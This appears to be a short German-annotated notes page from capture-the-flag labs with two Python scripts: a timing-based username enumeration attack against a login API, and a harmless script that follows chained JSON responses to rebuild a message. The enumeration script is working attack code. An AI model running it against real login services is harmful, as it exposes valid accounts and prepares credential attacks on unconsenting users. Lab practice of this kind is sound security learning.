Python

timing login attack

import requests
import time
import json
import operator

url = 'http://10.10.121.198/api/user/login'
users = []
USERNAME_FILE = open("usernames-smaller.txt", "r")
timings = dict()

for line in USERNAME_FILE: 
    users.append(line.replace("\n", ""))


def dologin(user):
        post = {"username":user,"password":"tfasdfasdf"}
        r = requests.post(url,json = post)
        if r.status_code != 200: 
            print("Error:", r.status_code)

for user in users:
        startTime = time.time()
        dologin(user)
        stopTime = time.time()
        timings[user] = stopTime - startTime
        time.sleep(0.01)

sortedtimings = sorted(timings.items(), key=operator.itemgetter(1)) 

with open('timingusers.txt', 'w') as file:
    json.dump(sortedtimings, file)

Script probiert Nutzernamen durch auf einer Loginoberfläche und misst die Zeiten für den Request. Die Daten werden dann in ein txt file geschrieben. Sollte es nun Zeitlich unterschiede geben zwischen vorhandenen benutzern und nicht vorhandenen, so kann man dies sehen im txt file.

Random

import requests
import json

path = '/'
host = 'http://10.10.169.100:3000'
message = ''

while(host is not ''):
    response = requests.get(host + path)
    status_code = response.status_code
    j = response.json()
    print(j)

    if (j["next"] == 'end'):
        host = ''
    else:
        message = message + str(j["value"])
        print(message)
        path = "/" + str(j["next"])

print(message)

Aufgrund der json response die nächste Seite besuchen und die message ausgeben die ebenfalls in der json antwort enthalten war.

Last updated